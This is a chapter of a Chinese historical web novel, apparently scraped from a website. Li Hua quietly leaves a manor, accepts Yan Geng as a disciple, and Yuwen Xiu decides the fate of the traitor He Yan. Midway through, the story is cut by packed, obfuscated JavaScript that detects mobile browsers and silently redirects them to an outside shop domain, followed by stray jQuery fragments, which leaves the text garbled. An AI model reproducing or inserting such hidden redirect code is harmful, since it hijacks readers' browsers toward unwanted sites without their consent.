从陆承那里出来,李婳又去看了周总的女婿。
折返时,见雪已经小了不少,便去找周管事落实下午离堡一事。昨夜回东厢前,她已经向周管事坦白自己就是李君,也郑重为先前忽悠他的事道了歉,并恳请他莫要让第三个人知道华医工就是李君。
李君的身份孰轻孰重,周管事自然不敢妄言。至于忽悠他一事,更不会有所责怪。救命之恩,当涌泉相报。更何况,她救的是周家两条人命。
其实,别说她是大王的幕僚,就算当真只是一名游医,周管事对她也只有敬重。回想这几日她为乌堡所做的一切,那些善意的谎言,实在算不得什么。
所以,当她说要换作男装,悄悄离开乌堡回营时,周管事便二话不说,挑了十数名善骑的部曲护送。
唯一遗憾的是,这般匆匆一别,也不知日后还有没有再见之日。
告别周管事后,为了避免与视察团在路上偶遇,李婳又特意绕了道,打算从内院的侧门进去。
姚女神自从上次闹事,被削了医工一职后,便乖乖躲在家里待嫁。所以,这条捷径如今反倒是最安全的。
谁知,偏偏就在上次闹事的地方,被言絙截了胡。
怕他说些有的没的,李婳便先发制人:“赠予将军的射术口诀、一柄弓弩及数匣竹箭,今晨已交给主公。将军返营前,主公必会转交。”
言絙对应的,大概率是耿弇。
耿弇是奉父命前往长安,向更始朝廷表示归顺,求保父亲上谷太守之位。但在这个世界里,宇文秀是摄政王,所以言絙便直接投在了他的麾下。
还有一点不同,便是宇文秀攻打长安、灭了前朝之后,并没有将都城从洛阳迁至长安。李婳猜想,他大概是觉得,迁来迁去,太麻烦。
言絙与李婳同岁。照理说,他早该成家生子,只是他一来对男女之情没什么兴趣,二来也一直没遇上心动之人,这才落得一个被家里逼婚的惨况。
即便是个不解风情的直性子,他还是听得出李婳那番话里的意思,知道她对自己并无男女之情,却也并不在意,只拱手道:
“多谢华君割爱,吾定当善用之。只是,就此一别,着实可惜。吾欲拜君为师,或与君义结金兰,不知华君意下如何?”
李婳觉得,她是华君这件事,将来迟早都会曝光。若她彻底拒绝言絙的好意,日后他们之间难免因此生出间隙。
可义结金兰,便意味着有福同享,有难同当。她这么怕死,肯定做不到为了兄弟不要命。
于是,她轻咳一声,道:“还是按昨日之言,收你为徒吧。”
只是怕他再弄出什么幺蛾子,忙仰头看天,低头指地,一本正经道:“天地为证,言絙,自今日起,你便是吾之弟子。往后若有不解之处,尽管来问,吾定知无不言,言无不尽。”
虽然有些突然,言絙还是当即会意,屈膝跪拜,就这么“儿戏”地成了李婳的徒弟。
为了不让他坏了自己下午返营的计划,李婳又提醒道:“午后,我须上山为猎户看诊,数日后方归,恐怕难与你道别。言君若有疑问,可遣信使来问。我若得闲,亦会送信与你。”
说着,她便将他扶了起来。
“诺。”
言絙起身,视线掠过师父的脸颊时,莫名觉得她脸上的胎记,似乎比昨日大了一些。他揉了揉眼,只当是昨晚酒喝多了,此刻尚未清醒。
呵呵一笑,道:“师父日后唤吾伯昭便是。”
徒弟很是懂事,主动接过师父手上的药箱,一同朝内院侧门走去。
一路说说笑笑,颇为投机。
不料,刚入侧门,便与一行正往客院而去的人撞了个正着。
李公、某主簿,以及宇文秀都在其中。
李婳吓得立马闭了嘴。
昨晚被他惩罚得够呛,身上的刺痒尚未消退,她可不觉得,今夜还能继续承受。
吃一堑长一智,言絙昨晚被李公戏谑了一夜,今日很是明智地掌握了主动权,当即向众人拱手一揖:“言某已拜华君为师。昨夜多谢各位指点。”
李公一脸遗憾,却当真是个热心肠的人,张口便要让陆承替他们办一场拜师酒。
吓得李婳连忙以赶着去太行山给猎户看病为由,脚底抹油,溜了。
回房收拾好行李,换上男装,在周管事的掩护下,策马朝驻扎于野王的军营疾驰而去。
……
就在李婳离开后不久,堡里来了两位意外之客——内黄县豪族何氏家主何谦,以及陆承的表兄何琰。
来意更是出人意料。
宇文秀灭洪鲁,建更始,立长兄之子为帝后,天下大部分郡县都归顺了更始朝。但自从洪郎称帝,河北却出现了三种情形:一部分被洪郎策反,一部分仍在观望,还有一部分继续效忠更始。
位于魏郡的内黄县,地近洪郎势力,境内归顺洪郎的县城、豪族更是层出不穷。而作为内黄县最大的豪族,何氏家主竟带着何琰前来负荆请罪。
这个何琰,正是被洪郎收买,险些害得陆承丧命之人。
同时,何谦明言自己只效忠大王。
他愿意归顺宇文秀的理由,与陆承一样,都觉得纵览天下,能建国安邦之人,唯他莫属。甚至,他早已看穿洪郎不过是赵国的一枚棋子。以这样的人为帝,国势断难长久。
宇文秀自然不会拒绝送上门来的助力。只是,他不能为了得到何氏的支持,便寒了陆承的心;另外,也不能断定何氏究竟是真心归顺,还是诈降。
是收,是拒,还需观察之后再定。
不过,他将处置何琰的权力,全部交给了陆承。
陆承对这位表兄并没什么印象,只记得他是陆家长孙。外祖父在世时,姨母曾带他回陆家住过一段时日。听母亲提起,当时姨母曾向外祖父讨要陆家位于朝歌的一座乌堡,只是他到底是何家人,外祖父自然没有应允。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797954|206986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
此后没多久,外祖父便过世了。姨母连葬礼都不曾参加,之后更是与陆家断了往来。母亲从未诋毁过姨母,只是听葛老的意思,当年外祖父之死,似乎与姨母脱不了干系。
若杀了何琰,虽能解一时之气,却也等于与姨母结下不可化解的仇怨。她膝下还有两个儿子,谁知道日后会不会受她怂恿,再使什么阴招来害他。
“徐万毁矿道,使数人丧命,十数人重伤。日前,已伏诛。至于何琰,罪该万死。然,其乃何家族人,吾不便多言。请何公依家法处置便是。”
何谦便道:“若论家法,当先处置其母。何琰此子愚孝,若非其母怂恿,断不敢与逆贼有涉。若行家法,其母当诛。”
此话一出,被绑了手脚、跪在地上的何琰,吓得急嚎道:“兄长,莫杀吾阿母。吾愿替阿母受死。”
见此情形,静坐一旁的宇文秀忽然开口:“求死何其之易。然即便尔死,亦换不回矿工性命。若能以尔之命,换些有用之物,方可谓替尔母赎罪。”
“如何赎罪?请大王告之。某万死不辞。”
宇文秀看了何谦一眼,问道:“何公意下如何?若何琰于国事有功,可否饶其母不死?至于留在府中颐养,或入寺修行,皆由何公定夺。”
何谦原本也没有赶尽杀绝的意思。与陆承一样,他若杀了陆氏女,别说她另外两个未曾参与此事的儿子,就连父亲,也不会善罢甘休。
大王与其说是在与他商量,不如说是在给他一个台阶下。
何谦心知肚明,当即起身,朝宇文秀一拜:“多谢大王指点,某感激不尽。不知愚弟当如何为国事效力?请大王明示。”
“吾见其身长体壮,乃习武之人。孤欲其投洪郎,为孤内应。途中若战死,孤保其母一生无虞;侥幸存活,便封都尉,为孤所用。不知何公意下如何?”
“愚弟纵粉身碎骨,亦当死而无憾;吾自当赡养其母,使其安享天年。”
宇文秀命人给何琰松绑,又问他,是想替母受死,还是将功补过,以命一搏。何琰自是感激涕零,谢过大王再造之恩、家主宽厚之德,又磕头向陆承认错。
众人以为,内黄何氏此番来意已达,接下来便该告辞了。
谁知,何谦略一沉吟,又道:“内黄县令已归顺洪郎,吾闻大王欲北上信都。内黄、广阿皆多探马,恐遭伏击。”
宇文秀沉默良久,忽然问道:“不知何公可愿为内黄县令?”
何谦面色一惊,当即离案,跪拜道:“请大王指点。”
宇文秀上前将他扶起,正色道:“孤尚未定行军路线。若取东北之路,北上清河郡,再往信都,虽避开邯郸,却须半月方至;若走内黄、广阿,虽六七日可达,却恐遭伏击。然若声东击西,亦未尝不可。”
何谦立刻会意,拱手道:“若大王走内黄,吾必为内应。”
宇文秀微微颔首。
如此,她便能少受些苦了。